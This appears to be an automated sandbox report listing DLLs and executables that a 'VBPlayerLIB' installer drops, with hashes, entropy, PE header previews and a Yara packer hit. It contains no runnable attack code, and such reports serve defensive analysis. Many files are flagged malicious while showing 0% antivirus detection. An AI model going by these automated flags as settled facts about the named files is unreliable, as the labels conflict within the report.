Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...............................k.........................`................ .........................r.......D............................P..\|.......................................................\............................text...............................`.P`.data...0...........................@.0..rdata..8...........................@.`@/4......L...........................@.0@.bss..................................`..edata..r...........................@.0@.idata..D...........................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc..\|....P......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\gain_analysis.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	26126
Entropy (8bit):	6.048294343792499
Encrypted:	false
SSDEEP:	384:hhkxE9v7/GRm4v5OxlBWaEybb9p7aCyS/hU7CateHcUwSCnq6D:Yx6jGXvc5WaBb99yS/hQh
MD5:	D1223F86EDF0D5A2D32F1E2AAAF8AE3F
SHA1:	C286CA29826A138F3E01A3D654B2F15E21DBE445
SHA-256:	E0E11A058C4B0ADD3892E0BEA204F6F60A47AFC86A21076036393607235B469C
SHA-512:	7EA1FFB23F8A850F5D3893C6BB66BF95FAB2F10F236A781620E9DC6026F175AAE824FD0E03082F0CF13D05D13A8EEDE4F5067491945FCA82BBCDCF68A0109CFF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........f.........#.....6...b...............P.....h................................8-........ .........................i...................................................................Lk......................................................text....4.......6..................`.P`.data...,....P.......:..............@.0..rdata.......`.......<..............@.`@/4......T....p.......J..............@.0@.bss..................................`..edata..i............V..............@.0@.idata...............X..............@.0..CRT....,............^..............@.0..tls.................`..............@.0..reloc...............b..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-02PO8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	26126
Entropy (8bit):	6.048294343792499
Encrypted:	false
SSDEEP:	384:hhkxE9v7/GRm4v5OxlBWaEybb9p7aCyS/hU7CateHcUwSCnq6D:Yx6jGXvc5WaBb99yS/hQh
MD5:	D1223F86EDF0D5A2D32F1E2AAAF8AE3F
SHA1:	C286CA29826A138F3E01A3D654B2F15E21DBE445
SHA-256:	E0E11A058C4B0ADD3892E0BEA204F6F60A47AFC86A21076036393607235B469C
SHA-512:	7EA1FFB23F8A850F5D3893C6BB66BF95FAB2F10F236A781620E9DC6026F175AAE824FD0E03082F0CF13D05D13A8EEDE4F5067491945FCA82BBCDCF68A0109CFF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........f.........#.....6...b...............P.....h................................8-........ .........................i...................................................................Lk......................................................text....4.......6..................`.P`.data...,....P.......:..............@.0..rdata.......`.......<..............@.`@/4......T....p.......J..............@.0@.bss..................................`..edata..i............V..............@.0@.idata...............X..............@.0..CRT....,............^..............@.0..tls.................`..............@.0..reloc...............b..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-0GFJH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	43520
Entropy (8bit):	6.232860260916194
Encrypted:	false
SSDEEP:	768:XozEJVjDF38DrOPwLg0cAY7K+k+Y+TyHMjMbHVJx9jm3LkkteFfXbBekdAnPKx:Xo4JJDirOoLg0C7F/rDGdpB52PK
MD5:	B162992412E08888456AE13BA8BD3D90
SHA1:	095FA02EB14FD4BD6EA06F112FDAFE97522F9888
SHA-256:	2581A6BCA6F4B307658B24A7584A6B300C91E32F2FE06EB1DCA00ADCE60FA723
SHA-512:	078594DE66F7E065DCB48DA7C13A6A15F8516800D5CEE14BA267F43DC73BC38779A4A4ED9444AFDFA581523392CBE06B0241AA8EC0148E6BCEA8E23B78486824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....z.......D................,n.........................p.......`........ ...................... .......0...............................`..............................t........................0...............................text....x.......z..................`.P`.data...,............~..............@.0..rdata..............................@.P@.eh_fram\|...........................@.0@.bss.....B............................`..edata....... ......................@.0@.idata.......0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..reloc.......`......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-373UE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	5.192037544202194
Encrypted:	false
SSDEEP:	384:lhgkOI7BGi9gKV6uq+u6JewsNhNXUwSCgQ:DT7BGVKPKbXF
MD5:	BEFD36FE8383549246E1FD49DB270C07
SHA1:	1EF12B568599F31292879A8581F6CD0279F3E92A
SHA-256:	B5942E8096C95118C425B30CEC8838904897CDEF78297C7BBB96D7E2D45EE288
SHA-512:	FD9AA6A4134858A715BE846841827196382D0D86F2B1AA5C7A249B770408815B0FE30C4D1E634E8D6D3C8FEDBCE4654CD5DC240F91D54FC8A7EFE7CAE2E569F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0.....f................................b......... ......................p..E.......h...........................................................P@......................................................text...............................`.P`.data...,....0....... ..............@.0..rdata.......@......."..............@.0@/4...........P.......$..............@.0@.bss.........`........................`..edata..E....p......................@.0@.idata..h............0..............@.0..CRT....,............6..............@.0..tls.................8..............@.0..reloc...............:..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-3M1CR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36752
Entropy (8bit):	7.780431937344781
Encrypted:	false
SSDEEP:	768:E7epCl6I8YbTvEKXQ2vm+iocmmMt7KjuDnlVahRlmftuY5B:EepUv8aZvmd+7nDDalauy
MD5:	9FF783BB73F8868FA6599CDE65ED21D7
SHA1:	F515F91D62D36DC64ADAA06FA0EF6CF769376BDF
SHA-256:	E0234AF5F71592C472439536E710BA8105D62DFA68722965DF87FED50BAB1816
SHA-512:	C9D3C3502601026B6D55A91C583E0BB607BFC695409B984C0561D0CBE7D4F8BD231BC614E0EC1621C287BF0F207017D3E041694320E692FF00BC2220BFA26C26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b...........!.........n.......................................................B....@.........................P...........d.......@............s.......x..........................................................8............................................j..................@..@.rsrc.... ...........l..............@..@petite...............p..............`..`..................8..u...I.x\|}...g{...@..ffe.c4.-.Bj..........U.J.`..s.N:`..I@;..B.kbmj..E%2. `....".]&.&.).BB...E..4u'.....Q.......%....V.............5...y....E..q<w.....j...B..O...p.....X...m...= .X..........4........~~.8.F@.V...6....;?.5..)S.m.9U......^.zO!1o.F.E. ...H=`2...9.(...4).E.!G..;R.1.#.h0..(..t8..O...Td.d..~...l.a..U...b<../..W....M6...U*G..II.x........>..I[...v.N/.V..3..Y.c...Zh.i..i.....n....M..D....5o."....(.9.+..z...._$t.T...X#\...N....Q%...>U..\|....J

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-5TN1E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214016
Entropy (8bit):	6.676457645865373
Encrypted:	false
SSDEEP:	3072:v3UEEkp2yVTcc295GSSazZq0/OlxAOxN5jZ2Ti30ezAg0Fu9RBhk1Xion:cEEpYcc2G/adqLtxLZ2+vAO9Hhkzn
MD5:	2C747F19BF1295EBBDAB9FB14BB19EE2
SHA1:	6F3B71826C51C739D6BB75085E634B2B2EF538BC
SHA-256:	D2074B91A63219CFD3313C850B2833CD579CC869EF751B1F5AD7EDFB77BD1EDD
SHA-512:	C100C0A5AF52D951F3905884E9B9D0EC1A0D0AEBE70550A646BA6E5D33583247F67CA19E1D045170A286D92EE84E1676A6C1B0527E017A35B6242DD9DEE05AF4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}6,.9WB.9WB.9WB...9.:WB.9WC.hWB....;WB."..&WB."..WB."...WB.9WB.?WB."..8WB."..8WB."..8WB.Rich9WB.........PE..L......W...........!.....N...........n.......`............................................@.........................`...h.......(....`..X....................p.......................................................`...............................text...?L.......N.................. ..`.rdata......`.......R..............@..@.data....W.......2..................@....rsrc...X....`......................@..@.reloc..f&...p...(..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-647AI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22542
Entropy (8bit):	5.5875455203930615
Encrypted:	false
SSDEEP:	384:RKAPwPQJgZd3rw0bGMtyz1fiaqmjj1nFY4j70UotV9mRyK:YPQJgZZwUGH1fJljj1+D18
MD5:	E1C0147422B8C4DB4FC4C1AD6DD1B6EE
SHA1:	4D10C5AD96756CBC530F3C35ADCD9E4B3F467CFA
SHA-256:	124F210C04C12D8C6E4224E257D934838567D587E5ABAEA967CBD5F088677049
SHA-512:	A163122DFFE729E6F1CA6EB756A776F6F01A784A488E2ACCE63AEAFA14668E8B1148BE948EB4AF4CA8C5980E85E681960B8A43C94B95DFFC72FCCEE1E170BD9A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........X...............,...T...............@....@.......................................... .................................@...........................................................PU..........................P............................text....+.......,..................`.P`.data........@.......0..............@.`..rdata..0....P.......2..............@.0@/4...........`.......<..............@.0@.bss.........p........................`..idata..@............J..............@.0..CRT....4............T..............@.0..tls.................V..............@.0.................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-6NUFP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	845312
Entropy (8bit):	6.581151900686739
Encrypted:	false
SSDEEP:	24576:PgQ5Lxf4qcB5SdtFJPAYiXbJ1luVw6DbhJLJbCKShfCtk/8ou/UvfK7hs4I:H5Ng9zK5Puq7hsN
MD5:	00C672988C2B0A2CB818F4D382C1BE5D
SHA1:	57121C4852B36746146B10B5B97B5A76628F385F
SHA-256:	4E9F3E74E984B1C6E4696717AE36396E7504466419D8E4323AF3A89DE2E2B784
SHA-512:	C36CAE5057A4D904EBDB5495E086B8429E99116ACBE7D0F09FB66491F57A7FC44232448208044597316A53C7163E18C2F93336B37B302204C8AF6C8F1A9C8353
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2...va.va.va.b..fa.b...a.b..`a.$..ya.$..`a.$..1a.b..ua.va.*a. ...a. ..wa. ...wa.vat.wa. ..wa.Richva.................PE..L......c...........!.................F.......0............................... ......u.....@.......................... ...q..t...(....P.......................`..p.......T...........................8...@............0..D............................text............................... ..`.rdata...i...0...j..................@..@.data...............................@....rsrc........P.......(..............@..@.reloc..p....`......................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-913NL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	31936
Entropy (8bit):	6.6461204214578
Encrypted:	false
SSDEEP:	768:SEEn30ilOAb++HynTDbc3fwaVCPxWE/MM:SEa0YOU1HgU3fwaVCPxqM
MD5:	72E3BDD0CE0AF6A3A3C82F3AE6426814
SHA1:	A2FB64D5B9F5F3181D1A622D918262CE2F9A7AA3
SHA-256:	7AC8A8D5679C96D14C15E6DBC6C72C260AAEFB002D0A4B5D28B3A5C2B15DF0AB
SHA-512:	A876D0872BFBF099101F7F042AEAF1FD44208A354E64FC18BAB496BEEC6FDABCA432A852795CFC0A220013F619F13281B93ECC46160763AC7018AD97E8CC7971
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........P.........#.....&...L...............@.....d................................8......... .........................b............................P...,...................................R......................x................................text....%.......&..................`.P`.data........@.......*..............@.`..rdata.......P.......,..............@.0@/4...........`.......2..............@.0@.bss.........p........................`..edata..b............>..............@.0@.idata...............@..............@.0..CRT....,............H..............@.0..tls.................J..............@.0..reloc...............L..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-96K1P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7910
Entropy (8bit):	6.931925007191986
Encrypted:	false
SSDEEP:	192:piDl1jKrGer007ia6abHX0d/aeHeN+VPHIJQxNiJCl9AK0f:IDJ9aDb30dCe+4PHIJrJCl9AK0f
MD5:	1268DEA570A7511FDC8E70C1149F6743
SHA1:	1D646FC69145EC6A4C0C9CAD80626AD40F22E8CD
SHA-256:	F266DBA7B23321BF963C8D8B1257A50E1467FAAAB9952EF7FFED1B6844616649
SHA-512:	E19F0EA39FF7AA11830AF5AAD53343288C742BE22299C815C84D24251FA2643B1E0401AF04E5F9B25CAB29601EA56783522DDB06C4195C6A609804880BAE9E9B
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-96K1P.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L.....V...........!.................p.......0............................................@.........................Pr.......q..d....P.......................%.......................................................q..8....................................@..........................@..@.rsrc........P......................@..@.............`.........................@petite.......p......................`..`.........................................\|7{M..... ........r B`.Zr..P.........T}.e..YJ...=.X..q.}......b.I...G.....^.d...R..-R.....d_.......K.q.H.A=.-S..,_.....L...........2.............u.u.%...:.q....c.[.....`...\.X..8..B.@L..3.7.q.....)!.- ...D.....p...J...RU..Q.A..[.#&..R.....".+4...px/7..\....4...., ..8...5.hV.>] ....3.-.<..I+.<r..T..H,Q..!..i--..+.Zq.[...H... ...N.8..#...a.x.iU.G..-_..R....Z(cT%.....S.P.U:g?...;....&....@..KI.X.Q..PQ..v..*....{..~..}..f....c..`....Q...q..%......,j.4.Y..)....Cf7..

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-9IVPO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.1208137218866945
Encrypted:	false
SSDEEP:	24:LLDrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:LLDaJHlxE35QHOs5exm3ogF5n
MD5:	B7EDCC6CB01ACE25EBD2555CF15473DC
SHA1:	2627FF03833F74ED51A7F43C55D30B249B6A0707
SHA-256:	D6B4754BB67BDD08B97D5D11B2D7434997A371585A78FE77007149DF3AF8D09C
SHA-512:	962BD5C9FB510D57FAC0C3B189B7ADEB29E00BED60F0BB9D7E899601C06C2263EDA976E64C352E4B7C0AAEFB70D2FCB0ABEF45E43882089477881A303EB88C09
Malicious:	false
Preview:	Copyright (c) 2011 Jan Kokem.ller..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTION WITH

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-BML8E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	867854
Entropy (8bit):	4.9264497464202694
Encrypted:	false
SSDEEP:	12288:p3y+OSQJZyHHiz8ElQxPpspcQrRclB7OIlJiIoP:xSXyniz1lQxPpspcQrRcLZJi/
MD5:	B476CA59D61F11B7C0707A5CF3FE6E89
SHA1:	1A1E7C291F963C12C9B46E8ED692104C51389E69
SHA-256:	AD65033C0D90C3A283C09C4DB6E2A29EF21BAE59C9A0926820D04EEBBF0BAF6D
SHA-512:	D5415AC7616F888DD22560951E90C8A77D5DD355748FDCC3114CAA16E75EB1D65C43696C6AECD2D9FAF8C2D32D5A3EF7A6B8CB6F2C4747C2A82132D29C9ECBFE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........>.........#.........:....................Xd................................l6........ ......................@..b....P..p..........................................................L.......................0Q...............................text...D...........................`.P`.data...x...........................@.P..rdata...%.......&..................@.`@/4.......K.......L..................@.0@.bss.........0........................`..edata..b....@......................@.0@.idata..p....P......................@.0..CRT....,....`......................@.0..tls.........p......................@.0..reloc..........,..................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CEVH5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	126478
Entropy (8bit):	6.268811819718352
Encrypted:	false
SSDEEP:	3072:UnNKg6JaJUeHjiaphKMLrn8uexz3TmBUg6xcE:UNcJGGehKMLJBUg6x
MD5:	6E93C9C8AADA15890073E74ED8D400C9
SHA1:	94757DBD181346C7933694EA7D217B2B7977CC5F
SHA-256:	B6E2FA50E0BE319104B05D6A754FE38991E6E1C476951CEE3C7EBDA0DC785E02
SHA-512:	A9F71F91961C75BB32871B1EFC58AF1E1710BDE1E39E7958AE9BB2A174E84E0DD32EBAAB9F5AE37275651297D8175EFA0B3379567E0EB0272423B604B4510852
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....^...................p.....m.........................p......f......... .........................{.... ...............................P..............................X........................!...............................text....\.......^..................`.P`.data........p.......b..............@.`..rdata..h&.......(...d..............@.`@/4......\B.......D..................@.0@.bss..................................`..edata..{...........................@.0@.idata....... ......................@.0..CRT....,....0......................@.0..tls.........@......................@.0..reloc.......P......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CMU2D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	294926
Entropy (8bit):	6.191604766067493
Encrypted:	false
SSDEEP:	3072:7E0FFjiAeF21pLQFgK33duKMnlCj3eWyNg2hlNvFXl8rzJjjOjVmdX566Uwqwqwm:wKFX3LygKjjN2HIfpruwqwqwFUgVE
MD5:	C76C9AE552E4CE69E3EB9EC380BC0A42
SHA1:	EFFEC2973C3D678441AF76CFAA55E781271BD1FB
SHA-256:	574595B5FD6223E4A004FA85CBB3588C18CC6B83BF3140D8F94C83D11DBCA7BD
SHA-512:	7FB385227E802A0C77749978831245235CD1343B95D97E610D20FB0454241C465387BCCB937A2EE8A2E0B461DD3D2834F7F542E7739D8E428E146F378A24EE97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.........\|.....................n.................................c........ ......................`..j7...........................................................................................................................text...8...........................`.P`.data...x...........................@.0..rdata...F.......H..................@.`@/4.......U.......V..................@.0@.bss.........P........................`..edata..j7...`...8...$..............@.0@.idata...............\..............@.0..CRT....,............b..............@.0..tls.................d..............@.0..reloc...............f..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CR8EU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.423554884287906
Encrypted:	false
SSDEEP:	6144:X+dMKihenEUunaA+mVMISPCG5vHglwiaJVZkRyAHeOdrQpCklkHy+axeY0R2JdXs:MagxOOZWP2dC28d+y2e
MD5:	67247C0ACA089BDE943F802BFBA8752C
SHA1:	508DA6E0CF31A245D27772C70FFA9A2AE54930A3
SHA-256:	BAB8D388EA3AF1AABB61B8884CFAA7276A2BFD77789856DD610480C55E4D0A60
SHA-512:	C4A690A53581D3E4304188FD772C6F1DA1C72ED2237A13951ACE8879D1986423813A6F7534FF506790CB81633CEB7FF6A6239C1F852725FBACA4B40D9AE3F2DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d,.. M.. M.. M..4&..-M..4&...M..4&..3M..r8...M..r8../M..r8..1M..4&..#M.. M.._M..v8..$M..v8..!M..v8..!M..v8..!M..Rich M..........PE..L... ..a...........!.........................................................@............@.........................@...p.......(............................ ..(...P...8...............................@...............H............................text...>........................... ..`.rdata..d...........................@..@.data...H...........................@....rsrc...............................@..@.reloc..(.... ......................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CSBEI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5960
Entropy (8bit):	5.956401374574174
Encrypted:	false
SSDEEP:	96:dj78cqhzbWKlECE7WbjDFf6IhaYYUOAoDf4+XCVhovG9AkM7Ui10:CjlEJ7WbjDFf6waYvdc4gYAkM10
MD5:	B3CC560AC7A5D1D266CB54E9A5A4767E
SHA1:	E169E924405C2114022674256AFC28FE493FBFDF
SHA-256:	EDDE733A8D2CA65C8B4865525290E55B703530C954F001E68D1B76B2A54EDCB5
SHA-512:	A836DECACB42CC3F7D42E2BF7A482AE066F5D1DF08CCCC466880391028059516847E1BF71E4C6A90D2D34016519D16981DDEEACFB94E166E4A9A720D9CC5D699
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L......I...........!.....4...T......6`....... ...............................p......................................lc.......a.......@..H....................................................................................................................0..........................`....rsrc........@..H...................@..@.............P......................@................`......................`.......................................X....E......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!...`..f.`P....h....j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I.e...h....P..0................0..............h.... ..0...........6...........k...........

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-D13DL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	852754
Entropy (8bit):	6.503318968423685
Encrypted:	false
SSDEEP:	12288:fpFFQV+FKJ37Dm+yY4pBkPr2v2meLaoHN/oBrZ3ixdnGVzpJXm/iN:fpnzFw37iDYIBkzuPcHNgrZ3uGVzm/iN
MD5:	07FB6D31F37FB1B4164BEF301306C288
SHA1:	4CB41AF6D63A07324EF6B18B1A1F43CE94E25626
SHA-256:	06DDF0A370AF00D994824605A8E1307BA138F89B2D864539F0D19E8804EDAC02
SHA-512:	CAB4A7C5805B80851ABA5F2C9B001FABC1416F6648D891F49EACC81FE79287C5BAA01306A42298DA722750B812A4EA85388FFAE9200DCF656DD1D5B5B9323353
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L..Y.,..v......!......... .....................a................................O}........ ......................................@.......................P..X0...........................0.......................................................text...............................`.P`.data...............................@.`..rdata..............................@.`@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,.... ......................@.0..tls.... ....0......................@.0..rsrc........@......................@.0..reloc..X0...P...2..................@.0B/4...................&..............@.@B/19.................*..............@..B/31..........@......................@..B/45..........`......................@..B/57.................................@.0B/70.....i...............

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-D8Q6V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	512014
Entropy (8bit):	6.566561154468342
Encrypted:	false
SSDEEP:	12288:BNKab1bu1dEpBZvkO4KTYnyA0bFHmufLKNs3gv:rKcozEpbvkOCyA0xGufLKau
MD5:	C4A2068C59597175CD1A29F3E7F31BC1
SHA1:	89DE0169028E2BDD5F87A51E2251F7364981044D
SHA-256:	7AE79F834A4B875A14D63A0DB356EEC1D356F8E64FF9964E458D1C2050E5D180
SHA-512:	0989EA9E0EFADF1F6C31E7FC243371BB92BFD1446CF62798DCA38A021FAD8B6ADB0AEABDFBDC5CE8B71FE920E341FC8AB4E906B1839C6E469C75D8148A74A08A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P/.d...........#...(.l.........................n.........................P............@... ..........................:........... .......................0..L...........................d...........................P............................text....k.......l..................`..`.data................p..............@....rdata...t.......v...r..............@..@/4......L...........................@..@.bss....X................................edata...:.......<...j..............@..@.idata..............................@....CRT....,...........................@....tls................................@....rsrc........ ......................@....reloc..L....0......................@..B........................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-DEO22.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	16910
Entropy (8bit):	5.289608933932413
Encrypted:	false
SSDEEP:	384:ohtyjknGC7hipL+9mLYFOozxkdlDNUwS5Qq:UGknGC74l+MUFI7C
MD5:	2F040608E68E679DD42B7D8D3FCA563E
SHA1:	4B2C3A6B8902E32CDA33A241B24A79BE380C55FC
SHA-256:	6B980CADC3E7047CC51AD1234CB7E76FF520149A746CB64E5631AF1EA1939962
SHA-512:	718AF5BE259973732179ABA45B672637FCA21AE575B4115A62139A751C04F267F355B8F7F7432B56719D91390DABA774B39283CBCFE18F09CA033389FB31A4FC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........B.........#.........>...f...........0.....h......................... ................ .........................{.......\|...............................$...........................pA.......................................................text...4...........................`.P`.data...<....0......."..............@.0..rdata.......@.......$..............@.`@/4...........P.......(..............@.0@.bss.....d...`........................`..edata..{............2..............@.0@.idata..\|............4..............@.0..CRT....,............:..............@.0..tls.................<..............@.0..reloc..$............>..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-DJ7DE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	648384
Entropy (8bit):	6.666474522542094
Encrypted:	false
